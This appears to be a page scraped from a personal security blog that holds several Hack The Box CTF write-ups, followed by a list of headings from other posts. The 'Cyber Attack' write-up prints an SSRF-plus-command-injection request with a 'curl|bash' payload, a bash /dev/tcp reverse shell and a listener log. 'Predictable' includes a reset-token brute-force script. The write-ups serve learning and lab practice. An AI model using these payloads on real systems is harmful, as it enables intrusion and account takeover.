powershell.exe -C "$output = whoami; $bytes = [Text.Encoding]::UTF8.GetBytes($output); $compressedStream = [System.IO.MemoryStream]::new(); $compressor = [System.IO.Compression.DeflateStream]::new($compressedStream, [System.IO.Compression.CompressionMode]::Compress); $compressor.Write($bytes, 0, $bytes.Length); $compressor.Close(); $compressedBytes = $compressedStream.ToArray(); [Convert]::ToBase64String($compressedBytes)"

Server Responses with Binary Data

Analyzing server responses revealed that while they appeared Base64-encoded, decoding yielded binary data rather than clear text. With some investigation, we determined that this binary data was compressed using Deflate encoding. After applying both Base64 decoding and Deflate decompression, we retrieved readable outputs from the server. Here’s how we decoded each response: 1. Base64 Decoding: Convert the Base64 response into raw binary data. 2. Deflate Decompression: Use a decompression tool to expand the data, revealing the plaintext output of each command.

Script to decode server responses:

import base64

# Replace with the path to your file containing the extracted base64 data
input_file = 'base64_data.txt'
output_file = 'decoded_output.bin'

# Read the Base64 data from the file
with open(input_file, 'r') as f:
    base64_data = f.read()

# Decode the Base64 data to binary
binary_data = base64.b64decode(base64_data)

# Save the decoded binary data to an output file
with open(output_file, 'wb') as f:
    f.write(binary_data)

print(f"Decoded binary data saved to {output_file}")

Revealing the Flag

As we decoded and decompressed each server response, we found evidence of directory contents, environment variables, and other sensitive information. Among these outputs, was the flag.

Ghostly Persistence has been pwn3d!

Binary Basis

Wed, 05 Mar 2025 00:00:00 +0000

rosehacks@pwny$ cat binary_basis.txt
Our task starts with a story set in a mysterious tomb, where a cryptic 
puzzle guards an ancient relic. We're provided with an output.txt file
containing variables n, e, c, and treat, as well as a Python script 
source.py that generated this output. Our objective: decrypt the message 
c to reveal the hidden flag.

Initial Analysis

The source.py file shows how each variable in output.txt was generated: • n: Product of 16 randomly generated 128-bit prime numbers. • e: The public exponent, set to 65537. • m: The plaintext flag, converted to a long integer. • c: The ciphertext, calculated as c = pow(m, e, n). • treat: A specially structured sum of powers of two, each multiplied by the primes used to generate n.

The challenge boils down to leveraging treat to recover the 16 primes used in n, allowing us to factor n and derive the private key for decryption.

Strategy

The key to solving this lies in treat. We notice that each term in treat has the structure: treat=∑(primei×2power_factors[i])\text{treat} = \sum (\text{prime}_i \times 2^{\text{power_factors}[i]})treat=∑(primei×2power_factors[i]) where each prime is multiplied by a distinct power of two. This unique structure lets us isolate each prime by dividing treat by each descending power of two.

Solution Walkthrough

Extracting Primes from treat:
- We sorted the list of power factors in descending order. For each power factor, we divided treat by 2factor2^{\text{factor}}2factor to extract each prime and then adjusted treat by subtracting out the prime’s value.
Calculating phi(n):
- With all 16 primes recovered, we computed phi(n) as: -ϕ(n)=(p1−1)×(p2−1)×⋯×(p16−1)\phi(n) = (p_1 - 1) \times (p_2 - 1) \times \dots \times (p_{16} - 1)ϕ(n)=(p1−1)×(p2−1)×⋯×(p16−1)
Computing d:
- We computed the private exponent d as the modular inverse of e modulo phi(n).
Decrypting c:
- Using d, we decrypted c to recover m, then converted m from bytes to reveal the flag.

Solution Code

Here’s the final code that accomplishes these steps:

from Crypto.Util.number import long_to_bytes
from sympy import Integer
from math import prod
# Given constants
n = 352189612438784047320754903106372002809877965719588610950180565262740960705788381566578345723325074804073747981488556714699194183628557150903839852453543700776971896448650422022044960974232637963499485064773137220336653165714273408753468196975611814144214482908258123395290626550717602601895666745644709508591571302894106487383195731091217527995774179358090943421864881850666765491934935419093710096767868514339375941764521600704560564724716373816013966194185050357691082654919969371044174479415710416530800029987261822155401485231590655607419352265580910531638967882492680615189164541617995862933344817766381378089
e = 65537
c = 258206881010783673911167466000280032795683256029763436680006622591510588918759130811946207631182438160709738478509009433281405324151571687747659548241818716696653056289850196958534459294164815332592660911913191207071388553888518272867349215700683577256834382234245920425864363336747159543998275474563924447347966831125304800467864963035047640304142347346869249672601692570499205877959815675295744402001770941573132409180803840430795486050521073880320327660906807950574784085077258320130967850657530500427937063971092564603795987017558962071435702640860939625245936551953348307195766440430944812377541224555649965224
treat = 33826299692206056532121791830179921422706114758529525220793629816156072250638811879097072208672826369710139141314323340868249218138311919342795011985307401396584742792889745481236951845524443087508961941376221503463082988824380033699922510231682106539670992608869544016935962884949065959780503238357140566278743227638905174072222417393094469815315554490106734525135226780778060506556705712260618278949198314874956096334168056169728142790865790971422951014918821304222834793054141263994367399532134580599152390531190762171297276760172765312401308121618180252841520149575913572694909728162718121046171285288877325684172770961191945212724710898385612559744355792868434329934323139523576332844391818557784939344717350486721127766638540535485882877859159035943771015156857329402980925114285187490669443939544936816810818576838741436984740586203271458477806641543777519866403816491051725315688742866428609979426437598677570710511190945840382014439636022928429437759136895283286032849032733562647559199731329030370747706124467405783231820767958600997324346224780651343241077542679906436580242223756092037221773830775592945310048874859407128884997997578209245473436307118716349999654085689760755615306401076081352665726896984825806048871507798497357305218710864342463697957874170367256092701115428776435510032208152373905572188998888018909750348534427300919509022067860128935908982044346555420410103019344730263483437408060519519786509311912519598116729716340850428481288557035520
# Constants for decomposition
power_factors = [0x1337 - 158 * (2 * i + 1) for i in range(16)]
# Extract primes
primes = []
treat_integer = Integer(treat)
for exp in sorted(power_factors, reverse=True):
    prime = treat_integer // (2 ** exp)
    primes.append(int(prime))
    treat_integer -= prime * (2 ** exp)
# Calculate phi(n)
phi_n = prod([p - 1 for p in primes])
# Calculate `d`
d = pow(e, -1, int(phi_n))
# Decrypt `c` to get `m`
m = pow(c, d, n)
flag = long_to_bytes(m)
# Output flag
print("Flag:", flag.decode())

Conclusion

By leveraging treat and reconstructing n’s prime factors, we uncovered the private key and decrypted the message to reveal the flag. This challenge demonstrates the importance of carefully handling large integers and modular arithmetic in cryptographic applications, especially where prime factorization and modular inverses are involved.

Binary Basis has been pwn3d!

Armaxis

Thu, 06 Mar 2025 00:00:00 +0000

rosehacks@pwny$ cat armaxis.txt
This was a "very easy" web challenge that I managed to solve during the HTB Univeristy CTF. 
It starts with exploiting a password reset feature that has some broken logic that 
allows us to reset the password for the admin by intercepting the request and 
changing out email. From there, we are able to make use of a command injection 
vulnerability and simply use curl to send the flag to a webhook. The actual path 
involves using the command injection to include the contantes of local file in 
markdown img tags. The file contents gets base64 encoded and stored on the admin's 
home page.

Account Creation

We have the ability to create accounts, so that was the first thing I did.

User -> Admin

When we first get the application, we have a few options available to us. We can login, register ot reset passwords.

Since we dont have an account yet, I went ahead and created one for testing.

After logging in, there didnt seem to be much we could do from a user standpoint. I did notice some other endpoint from the code, but we weren't authorized to hit them. So, I figured we needed to escalate our privs somehow.

Since we do get access to an email client, it seems obvious we need to exploit the password reset in some way

Testing out the password reset, it seems interesting that it gives us the prompt directly after entering our email.

I put the code sent to the email and the new password where prompted. I then intercepted the request and noticed a hidden parameter, "email". Interesting!

Looking back at the code, I found an email for the adminitrator:

admin@armaxis.htb

Replacing my email with the admins, I was able to successfully reset their password and login.

Command Injection

From there, we get something new to poke at, the weapons dispatch:

This was the first way I solved this one.

Predictable

Fri, 07 Mar 2025 00:00:00 +0000

Description

You’ve been tasked on a pentest engagement to understand the tokengeneration process and exploit it, do you have what it takes?

Overview

This was “hard” challenge from the HTB Fall Huddle. The name and description pretty much gave away the vulnerability. The application uses predictable values to generate password reset tokens. If we can obtaina user’s email and the timestamp of when the password reset was requested, we can generate the same token. This challenge did require reading the source code and scripting to generate the possibletokens based on exact time that we issued the issued the reset. To do this, we had to create a wordlist of possible tokens and brute force the reset for the admin user.

Reset Token Helper

While reviewing the source code, we notice the seed for the token is generated using two easily predictable values: the user’s email and the current timestamp (Date.now()). The token is then created by MD5 hashing the seed.

const seed = email + currentTime.toString();
const token = crypto.createHash('md5').update(seed).digest('hex');

Solution:

From looking at the code, it became clear that our goal was to exploit the flaw in the way password reset tokens were generated. Spinning up the appliction locally confirms this.

NodeMailer

The password reset process requires the user’s email and reset token. When we click on “forgot password,” the application sends a reset token via email, which we receive in our NodeMailer email box that conveniently renders on the same page.

Scripting an Exploit

After reviewing the source code, we can see the password reset tokens are generated by concatenating the user’s email with the current Unix timestamp, then hashing the result.

To exploit this, I first wrote a script to generate a token for my test user, test@hackthebox.com, using the same logic as the application.

However, I eventually realized this approach wouldn’t work since even a slight time difference—down to milliseconds—would result in a different token, making it nearly impossible to match the token precisely.

To overcome this, I wrote another script that generated 4,000 tokens, one for every millisecond difference from when the script started. After requesting a password reset, I captured the token sent via email and then used it to grep the same value from the list of the 4,000 generated tokens.

rosehacks@pwny$ cat results.txt | grep 583d6f54e3bed1dedf2e200ae4fdd3f4
[+] Time (milliseconds): 1729210982515 | Time (UTC): 10/18/2024, 12:23:02 AM | Token: 583d6f54e3bed1dedf2e200ae4fdd3f4

Brute-Forcing Tokens

Now, I just needed to apply the same process, but this time replacing test@hackthebox.com with admin@hackthebox.com in my script. To brute-force the password reset, I planned to use a tool like ffuf along with the wordlist of generated tokens. I created 4,000 tokens for the admin@hackthebox.com email and quickly triggered the “forgot password” function for that email. Afterward, I used grep to extract the tokens from my script and placed them into a wordlist. Finally, I passed the wordlist to ffuf to brute-force the token for the password reset feature.

rosehacks@pwny$ grep "Token:" results.txt  | awk -F 'Token: ' '{print $2}' > wordlist.txt // parse tokens from output into a wordlist for ffuf
rosehacks@pwny$ ffuf -u http://127.0.0.1:1337/api/reset-password -X POST -d '{"email":"admin@hackthebox.com","token":"FUZZ","newPassword":"admin"}' -w wordlist.txt -H "Content-Type: application/json" -fw 5 //Fuzz token value until password is reset


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
===============================================================
 :: Method        : POST
 :: URL           : http://127.0.0.1:1337/api/reset-password
 :: Wordlist      : FUZZ: /home/kali/wordlist.txt
 :: Header        : Content-Type: application/json
 :: Data          : {"email":"admin@hackthebox.com","token":"FUZZ","newPassword":"admin"}
 :: Follow redirects : false
 :: Calibration   : false
 :: Timeout       : 10
 :: Threads       : 40
 :: Matcher       : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter        : Response words: 5
===============================================================

2d05f0c1a911b4176613134f6f0826fd [Status: 200, Size: 59, Words: 3, Lines: 1, Duration: 83ms]

:: Progress: [4001/4001] :: Job [1/1] :: 2890 req/sec :: Duration: [00:00:01] :: Errors: 0 ::

I used the token to reset the admin’s password, logged in as the admin to get the flag:

Exploit:

const crypto = require('crypto');

// Script to generate multiple tokens within a time range
async function generateTokensForRange(email, range) {
    console.log(`[*] Starting token generation for a 2000ms range...`);

    // Get the current time in milliseconds
    const startTime = Date.now();
    console.log(`[*] Start time: ${startTime}`);

    // Iterate over the time range (milliseconds defined further down)
    for (let offset = 0; offset <= range; offset++) {
        const currentTime = startTime + offset;

        // Generate the seed and then MD5 token for each millisecond in the range
        const seed = email + currentTime.toString();
        const token = crypto.createHash('md5').update(seed).digest('hex');

        const fullDateTime = new Date(currentTime).toLocaleString("en-US", { timeZone: "UTC" });
        
        console.log(`[+] Time (milliseconds): ${currentTime} | Time (UTC): ${fullDateTime} | Token: ${token}`);
    }

    console.log(`[*] Token generation for range complete.`);
}

(async () => {
    const email = "admin@hackthebox.com"; 
    const timeRange = 4000; 
    await generateTokensForRange(email, timeRange);
})();

Predictable has been pwn3d!

Cyber Attack

Wed, 26 Mar 2025 00:00:00 +0000

Overview

An “easy” challenge from Hack The Box’s Cyber Apocalypse 2025. The container ran an outdated version of Apache, vulnerable to SSRF caused by handler confusion. Exploiting this, we were able to hit an internal-only endpoint, attack-ip, which had a blind command injection vulnerability. To bypass the IP validation on attack-ip, we leveraged IPv6 zone identifiers, which seem to not be properly validated in the Python library, ultimately leading to code execution.

Attack Dashboard

Running the web app, we are met with a dashboard where we can enter our name and the domain or ip of a target we would like to attack. Although, at first it seems we can't attack an IP, only domains.

Apache Configuration

Looking at the Apache config file, we see the attack-ip endpoint is restricted to internal use only. Meaning, we would first need to bypass this restriction in order to use it.

ServerName CyberAttack

AddType application/x-httpd-php .php

<Location "/cgi-bin/attack-ip">
    Order deny,allow
    Deny from all
    Allow from 127.0.0.1
    Allow from ::1
</Location>

Attack IP

A quick look at the code of the cgi script for attacking an IP reveals possible command injection. Atleast, that is the only thing I could figure. Although, I soon began doubting myself as I began trying to inject additional commands..

#!/usr/bin/env python3

import cgi
import os
from ipaddress import ip_address

form = cgi.FieldStorage()
name = form.getvalue('name')
target = form.getvalue('target')

if not name or not target:
    print('Location: ../?error=Hey, you need to provide a name and a target!')
try:
    count = 1 # Increase this for an actual attack
    os.popen(f'ping -c {count} {ip_address(target)}')
    print(f'Location: ../?result=Succesfully attacked {target}!')
except:
    print(f'Location: ../?error=Hey {name}, watch it!')
   
print('Content-Type: text/html')
print()

Apache Handler Confusion

During the CTF, one of our team members found a super useful blog on Apache confusion attacks Here. We were able to use this research to solve the first part of the challenge, which was to successfully make a request to the attack-ip endpoint. Section three of the blog goes into detail on handler confusion, providing several useful examples, such as:

✔️ 3-2-2. Arbitrary Handler to Full SSRF
Calling the mod_proxy to access any protocol on any URL is, of course, straightforward:

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:http://example.com/%3F %0d%0a
%0d%0a

We were able to use CRLF Injection with the attack-domain request to get SSRF and attack an IP from the localhost.

http://myapp.local:1337/cgi-bin/attack-domain?target=t&name=%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:http://myapp.local:1337/cgi-bin/attack-ip?target=127.0.0.1&name=test %0d%0a
%0d%0a

Successfully attacked 127.0.0.1

Command injection via Target Parameter

Next came the hardest part of the challenge. Figuring out how to exploit the potential command injection vulnerability. For a while, I doubted if this was even possible. I searched far and wide for bypasses in the ipaddress library, but only found CVEs about parsing issues concerning leading 0's in an ip address, and nothing else useful. Both GPT and Google failed me. I modified the CGI script and spent a significant amound of time testing locally to even see if it was even possible.

#!/usr/bin/env python3

import os
import sys
from ipaddress import ip_address

name = 'rosehacks'
target = '000::11;$(whoami)'

try:
    count = 1  # Increase this for an actual attack
    os.popen(f'ping -c {count} {ip_address(target)}')  # Same vulnerability check
    print(f'Successfully attacked {target}!')
except:
    print(f'Error: Hey {name}, watch it!')

rosehacks@pwny$ python3 test.py
Error: Hey rosehacks, watch it!

No good!

IPv6 Zone Identifiers FTW

I was at this for hours... and never got the solution, turns out I was missing a single % sign.. To be more specific, all my googling failed to lead me to a parsing confusion issue in the python ipaddress library. By using IPv6 zone identifiers, such as discussed Here, which aren't validated, we can bypass the validation and inject commands.

"After a quick read of the library’s source code, we can see that it does indeed take zone identifiers into account, and that it doesn’t check the contents."

@staticmethod
def _split_scope_id(ip_str):
    """Helper function to parse IPv6 string address with scope id.

    See RFC 4007 for details.

    Args:
        ip_str: A string, the IPv6 address.

    Returns:
        (addr, scope_id) tuple.

    """
    addr, sep, scope_id = ip_str.partition('%')
    if not sep:
        scope_id = None
    elif not scope_id or '%' in scope_id:
        raise AddressValueError('Invalid IPv6 address: "%r"' % ip_str)
    return addr, scope_id

With this in mind, I tested it locally before running it against the server:

#!/usr/bin/env python3

import os
import sys
from ipaddress import ip_address

name = 'rosehacks'
target = '000::11%$(whoami)'

try:
    count = 1  # Increase this for an actual attack
    os.popen(f'ping -c {count} {ip_address(target)}')  # Same vulnerability check
    print(f'Successfully attacked {target}!')
except:
    print(f'Error: Hey {name}, watch it!')

rosehacks@pwny$ python3 test.py
Successfully attacked 000::11%$(whoami)!
rosehacks@pwny$ ping: ::11%rosehacks: Name or service not known

It worked! Now, I needed to setup an attack server and get a reverse shell. I spun up an ec2 in AWS and hosted the following HTML file:

#!/bin/bash
/bin/bash -i >& /dev/tcp/0.0.0.0/1337 0>&1

The Exploit

The final request looked like this:

http://myapp.local:1337/cgi-bin/attack-domain?target=t&name=%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:http://myapp.local:1337/cgi-bin/attack-ip?target=::111%$(curl+0.0.0.0|bash)&name=test %0d%0a
%0d%0a

I was able to get a reverse shell on the server and read the flag.

rosehacks@pwny$ sudo nc -lvnp 1337
Listening on 0.0.0.0 1337
Connection received on 94.237.54.21 54534
bash: cannot set terminal process group (13): Inappropriate ioctl for device
bash: no job control in this shell
<ackca2025-ng8mo-6455cb8c54-hb2hl:/usr/lib/cgi-bin$ cd /
cd /
www-data@ng-team-7941-webcyberattackca2025-ng8mo-6455cb8c54-hb2hl:/$ ls
ls
bin
boot
dev
etc
flag-etLBDh02onF8SO1.txt
www-data@ng-team-7941-webcyberattackca2025-ng8mo-6455cb8c54-hb2hl:/$ cat flag-etLBDh02onF8SO1.txt
HTB{h4ndl1n6_m4l4k4r5_f0rc35}

Bug Culture

CVE-2025-27580

You're so... Predictable

BRICS == BRICKS?

From Curiosity to Compromise

Not So Random After All

Crafting an Exploit

Account Takeover

References

Password Reset Poisoning

Poisoning Password Reset Links

Lack of Proper Host Header Validation

Reverse Proxy Misconfigurations

Use of Development/Test Configurations in Production

Some web frameworks trust the Host header as-is to build URLs

Abusing The Logic in Password Reset Features

References

CVE-2024-53553

Authentication Bypass in FOIAXpress® Public Access Link (PAL)

Discovery Process

How it unfolded

Gaining Unauthenticated Access

Manipulating Submission email

Email Validation Abuse

Lessons Learned

References

Getting Started in Bug Bounty

The Bug Bounty Journey

What to Know?

Where to Start?

The Fun Part

Finding Hidden Features

Fuzzing to Find Hidden Features

Let There be Fuzz

OSINT and Weak Passwords

Leave No Stone Unturned

OSINT FTW

Spray and Pray

Cat

Web Application:

User registration and Login:

Contest submission:

Directory Fuzzing:

Results:

Exposed Git Directory:

Results:

Code Review:

Blind XSS Attack:

SQL Injection with SQLMap

Cracking the Hash:

From Rosa to Axel

Internal Gitea Instance

Decoded:

Decoded:

ThreeKeys

Difficulty: Medium

Description:

Challenge:

Analyzing The Binary:

Key Takeaways from the Decompiled Code:

Solution

Reversing the Key Order

Bypassing the Error Check:

The Flag:

Solving with GDB:

Step 1: Calculate the Relative Offsets

In this case:

Step 2: Swap the Function Calls

We can verify the chnages with:

After verifying, we continue through the program execution and get the flag:

Untraceable

Difficulty: Easy

Description:

Challenge:

Solution

Analyzing The Binary:

Extracting the Flag

Bibliophile

Difficulty: Medium

Description: